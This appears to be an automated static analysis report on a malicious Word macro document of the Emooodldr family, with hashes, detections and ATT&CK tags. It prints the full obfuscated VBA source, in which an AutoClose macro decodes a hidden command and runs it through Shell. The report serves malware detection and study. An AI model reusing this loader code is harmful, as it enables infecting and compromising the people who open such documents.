Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 a5c8ec7e44ca6bdb…

MALICIOUS

Office (OOXML)

53.8 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-02-04
MD5: 9f139853e3b03ec7b833cd731cf9b171 SHA-1: 9d45536fcca3da6c12d36337a324d864121ddc6a SHA-256: a5c8ec7e44ca6bdbb20f1234df90d2937372f629f9c0d39d5f4eac0c8e716653
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

The sample is an OOXML document containing VBA macros, specifically an AutoClose macro that utilizes the Shell() function. This indicates an attempt to execute arbitrary code, likely to download and run a secondary payload. ClamAV signatures also identify it as 'Doc.Malware.Emooodldr-6711604-0', strongly suggesting the Emooodldr family.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2066 bytes
SHA-256: 35a02836a3924fd3c2ae349f3055c5e11889fbcb44ae9d45a485451488fc89b6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function hutterites(chawer)
  cambogia = Array("O", "8", "t", "3", "0", "p", "m", "k", "h", "6", "P", "I", "E", "K", "R", "X", "T", "Q", "9", "g", "W", "j", "f", "D", "x", "d", "N")
  toy = Array("e", "m", "q", "g", "c", "=", "/", ".", "t", "O", "p", "i", " ", "d", "?", "k", "h", "a", "w", "j", "U", "n", "u", ":", "s", "x", "o")
  
  galenian = vbNullString
  
  For Each presubscribe In chawer
    citadel = Application.Run("grumbler", presubscribe, cambogia)
    If citadel > -1 And citadel < 99212 Then
    galenian = toy(citadel) + galenian
    End If
  Next
  
  hutterites = StrReverse(galenian)
  
End Function

Public Function grumbler(bookbinders, cheek)

  maharajrana = 81818
  puppetryator = -1
  For Each logometric In cheek
    If logometric = bookbinders Then
     maharajrana = puppetryator
     Exit For
    End If

    puppetryator = puppetryator + 1
    
  Next

  
  If maharajrana = 81818 Then
    maharajrana = -1
  End If


  grumbler = maharajrana + 1
End Function




Sub AutoClose()
  chawer = Array("8", "x", "T", "h", "Q", "k", "O", "d", "O", "E", "T", "h", "h", "P", "D", "m", "m", "g", "T", "I", "g", "K", "t", "9", "f", "3", "T", "Q", "x", "j", "K", "Q", "x", "O", "t", "9", "k", "0", "N", "8", "m", "6", "W", "m", "x", "8", "I", "d", "k", "P", "T", "P", "R", "f", "h", "8", "Q", "p", "j", "j", "I", "I", "X")
  diachronicness = hutterites(chawer)
  
  Application.Run "nonrandom", (diachronicness)
  
End Sub


Private Sub nonrandom(forrad)
   
   unpious = 69172
   signals = True
   
   While signals
     tangie = unpious + 91723
     If tangie - unpious > 297 Then
       VBA.Shell forrad, vbNormalFocus - 1
       signals = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: b606fddbc715c4d95be82dd7e63ce5ae22c2ef564fe67166f6bf44e218acc866
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely